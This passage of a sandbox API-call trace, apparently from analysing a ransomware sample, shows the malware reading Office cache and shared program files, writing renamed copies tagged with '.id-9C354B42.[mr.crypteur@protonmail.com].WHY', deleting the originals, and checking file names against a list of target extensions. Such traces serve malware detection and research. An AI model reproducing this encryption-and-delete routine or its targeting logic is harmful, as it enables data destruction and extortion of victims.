lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0066.446] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.446] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.446] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0066.446] GetLastError () returned 0x0 [0066.446] ReadFile (in: hFile=0x1e4, lpBuffer=0x3150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesRead=0x2b3fed4*=0x412b, lpOverlapped=0x0) returned 1 [0066.858] WriteFile (in: hFile=0x1a0, lpBuffer=0x3150020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x4130, lpOverlapped=0x0) returned 1 [0066.861] ReadFile (in: hFile=0x1e4, lpBuffer=0x3150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0066.862] WriteFile (in: hFile=0x1a0, lpBuffer=0x3150020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0066.862] SetEndOfFile (hFile=0x1a0) returned 1 [0066.862] CloseHandle (hObject=0x1a0) returned 1 [0066.865] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.865] SetEndOfFile (hFile=0x1e4) returned 1 [0066.868] CloseHandle (hObject=0x1e4) returned 1 [0066.868] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x2020) returned 1 [0068.171] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0068.494] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0068.494] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0068.494] lstrlenW (lpString=".doc") returned 4 [0068.494] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0068.494] lstrlenW (lpString=".docx") returned 5 [0068.494] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0068.494] lstrlenW (lpString=".pdf") returned 4 [0068.494] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0068.494] lstrlenW (lpString=".xls") returned 4 [0068.494] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0068.494] lstrlenW (lpString=".xlsx") returned 5 [0068.494] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0068.495] lstrlenW (lpString=".ppt") returned 4 [0068.495] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0068.495] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0068.495] lstrlenW (lpString=".zip") returned 4 [0068.495] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0068.495] lstrlenW (lpString=".rar") returned 4 [0068.495] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0068.495] lstrlenW (lpString=".bz2") returned 4 [0068.495] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0068.495] lstrlenW (lpString=".7z") returned 3 [0068.495] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0068.495] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0068.495] lstrlenW (lpString=".dbf") returned 4 [0068.495] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0068.496] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0068.496] lstrlenW (lpString=".1cd") returned 4 [0068.496] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0068.496] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0068.496] lstrlenW (lpString=".jpg") returned 4 [0068.496] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0068.496] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0068.496] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0068.496] lstrlenW (lpString=".doc") returned 4 [0068.496] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0068.496] lstrlenW (lpString=".docx") returned 5 [0068.496] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0068.497] lstrlenW (lpString=".pdf") returned 4 [0068.497] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0068.497] lstrlenW (lpString=".xls") returned 4 [0068.497] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0068.497] lstrlenW (lpString=".xlsx") returned 5 [0068.497] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0068.497] lstrlenW (lpString=".ppt") returned 4 [0068.497] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0068.497] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0068.497] lstrlenW (lpString=".zip") returned 4 [0068.497] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0068.497] lstrlenW (lpString=".rar") returned 4 [0068.497] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0068.497] lstrlenW (lpString=".bz2") returned 4 [0068.498] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0068.498] lstrlenW (lpString=".7z") returned 3 [0068.498] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0068.498] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0068.498] lstrlenW (lpString=".dbf") returned 4 [0068.498] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0068.498] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0068.498] lstrlenW (lpString=".1cd") returned 4 [0068.498] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0068.498] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0068.498] lstrlenW (lpString=".jpg") returned 4 [0068.498] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0068.499] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0068.499] lstrlenW (lpString="Setup.xml") returned 9 [0068.499] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0068.881] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=20577) returned 1 [0068.881] CloseHandle (hObject=0x200) returned 1 [0068.882] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0068.882] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0068.882] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0068.882] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0068.882] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0068.883] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x140 [0070.141] GetLastError () returned 0x0 [0070.141] ReadFile (in: hFile=0x200, lpBuffer=0x3150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesRead=0x2b3fed4*=0x5061, lpOverlapped=0x0) returned 1 [0070.147] WriteFile (in: hFile=0x140, lpBuffer=0x3150020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x5070, lpOverlapped=0x0) returned 1 [0070.151] ReadFile (in: hFile=0x200, lpBuffer=0x3150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0070.151] WriteFile (in: hFile=0x140, lpBuffer=0x3150020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0070.151] SetEndOfFile (hFile=0x140) returned 1 [0070.151] CloseHandle (hObject=0x140) returned 1 [0070.153] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.153] SetEndOfFile (hFile=0x200) returned 1 [0070.157] CloseHandle (hObject=0x200) returned 1 [0070.157] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x2020) returned 1 [0070.500] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0070.843] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0070.843] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0070.843] lstrlenW (lpString=".doc") returned 4 [0070.843] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0070.843] lstrlenW (lpString=".docx") returned 5 [0070.843] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0070.844] lstrlenW (lpString=".pdf") returned 4 [0070.844] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0070.844] lstrlenW (lpString=".xls") returned 4 [0070.844] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0070.844] lstrlenW (lpString=".xlsx") returned 5 [0070.844] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0070.844] lstrlenW (lpString=".ppt") returned 4 [0070.844] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0070.844] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0070.844] lstrlenW (lpString=".zip") returned 4 [0070.844] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0070.844] lstrlenW (lpString=".rar") returned 4 [0070.844] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0070.844] lstrlenW (lpString=".bz2") returned 4 [0070.845] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0070.845] lstrlenW (lpString=".7z") returned 3 [0070.845] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0070.845] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0070.845] lstrlenW (lpString=".dbf") returned 4 [0070.845] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0070.845] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0070.845] lstrlenW (lpString=".1cd") returned 4 [0070.845] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0070.845] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0070.845] lstrlenW (lpString=".jpg") returned 4 [0070.845] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0070.845] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0070.846] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0070.846] lstrlenW (lpString=".doc") returned 4 [0070.846] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0070.846] lstrlenW (lpString=".docx") returned 5 [0070.846] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0070.846] lstrlenW (lpString=".pdf") returned 4 [0070.846] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0070.846] lstrlenW (lpString=".xls") returned 4 [0070.846] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0070.846] lstrlenW (lpString=".xlsx") returned 5 [0070.846] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0070.846] lstrlenW (lpString=".ppt") returned 4 [0070.846] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0070.846] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0070.846] lstrlenW (lpString=".zip") returned 4 [0070.847] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0070.847] lstrlenW (lpString=".rar") returned 4 [0070.847] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0070.847] lstrlenW (lpString=".bz2") returned 4 [0070.847] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0070.847] lstrlenW (lpString=".7z") returned 3 [0070.847] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0070.847] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0070.847] lstrlenW (lpString=".dbf") returned 4 [0070.847] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0070.847] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0070.847] lstrlenW (lpString=".1cd") returned 4 [0070.847] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0070.847] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0070.848] lstrlenW (lpString=".jpg") returned 4 [0070.848] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0070.848] lstrcmpiW (lpString1=".JPG", lpString2=".WHY") returned -1 [0070.848] lstrlenW (lpString="MS.JPG") returned 6 [0070.848] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x140 [0071.186] GetFileSizeEx (in: hFile=0x140, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=1061) returned 1 [0071.186] CloseHandle (hObject=0x140) returned 1 [0071.186] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg")) returned 0x20 [0071.186] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0071.186] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x140 [0071.187] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.187] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.187] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0071.188] GetLastError () returned 0x0 [0071.188] ReadFile (in: hFile=0x140, lpBuffer=0x3150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesRead=0x2b3fed4*=0x425, lpOverlapped=0x0) returned 1 [0071.192] WriteFile (in: hFile=0x1d0, lpBuffer=0x3150020*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x430, lpOverlapped=0x0) returned 1 [0071.195] ReadFile (in: hFile=0x140, lpBuffer=0x3150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0071.195] WriteFile (in: hFile=0x1d0, lpBuffer=0x3150020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0071.195] SetEndOfFile (hFile=0x1d0) returned 1 [0071.196] CloseHandle (hObject=0x1d0) returned 1 [0071.198] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.198] SetEndOfFile (hFile=0x140) returned 1 [0071.200] CloseHandle (hObject=0x140) returned 1 [0071.201] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0071.202] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg")) returned 1 [0071.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0071.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0071.203] lstrlenW (lpString=".doc") returned 4 [0071.203] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0071.203] lstrlenW (lpString=".docx") returned 5 [0071.203] lstrcmpiW (lpString1=".docx", lpString2="S.JPG") returned -1 [0071.203] lstrlenW (lpString=".pdf") returned 4 [0071.203] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0071.203] lstrlenW (lpString=".xls") returned 4 [0071.203] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0071.203] lstrlenW (lpString=".xlsx") returned 5 [0071.203] lstrcmpiW (lpString1=".xlsx", lpString2="S.JPG") returned -1 [0071.203] lstrlenW (lpString=".ppt") returned 4 [0071.203] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0071.203] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0071.203] lstrlenW (lpString=".zip") returned 4 [0071.203] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0071.203] lstrlenW (lpString=".rar") returned 4 [0071.204] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0071.204] lstrlenW (lpString=".bz2") returned 4 [0071.204] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0071.204] lstrlenW (lpString=".7z") returned 3 [0071.204] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0071.204] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0071.204] lstrlenW (lpString=".dbf") returned 4 [0071.204] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0071.204] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0071.204] lstrlenW (lpString=".1cd") returned 4 [0071.204] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0071.204] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0071.204] lstrlenW (lpString=".jpg") returned 4 [0071.204] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0071.205] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0071.205] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0071.205] lstrlenW (lpString=".doc") returned 4 [0071.205] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0071.205] lstrlenW (lpString=".docx") returned 5 [0071.205] lstrcmpiW (lpString1=".docx", lpString2="S.JPG") returned -1 [0071.205] lstrlenW (lpString=".pdf") returned 4 [0071.205] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0071.205] lstrlenW (lpString=".xls") returned 4 [0071.205] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0071.205] lstrlenW (lpString=".xlsx") returned 5 [0071.205] lstrcmpiW (lpString1=".xlsx", lpString2="S.JPG") returned -1 [0071.206] lstrlenW (lpString=".ppt") returned 4 [0071.206] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0071.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0071.206] lstrlenW (lpString=".zip") returned 4 [0071.206] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0071.206] lstrlenW (lpString=".rar") returned 4 [0071.206] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0071.206] lstrlenW (lpString=".bz2") returned 4 [0071.206] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0071.206] lstrlenW (lpString=".7z") returned 3 [0071.206] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0071.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0071.206] lstrlenW (lpString=".dbf") returned 4 [0071.206] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0071.207] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0071.207] lstrlenW (lpString=".1cd") returned 4 [0071.207] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0071.207] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0071.207] lstrlenW (lpString=".jpg") returned 4 [0071.207] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0071.207] lstrcmpiW (lpString1=".avi", lpString2=".WHY") returned -1 [0071.208] lstrlenW (lpString="boxed-delete.avi") returned 16 [0071.208] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0072.388] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=31744) returned 1 [0072.388] CloseHandle (hObject=0x210) returned 1 [0072.388] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0072.388] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0072.388] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0072.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0072.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") 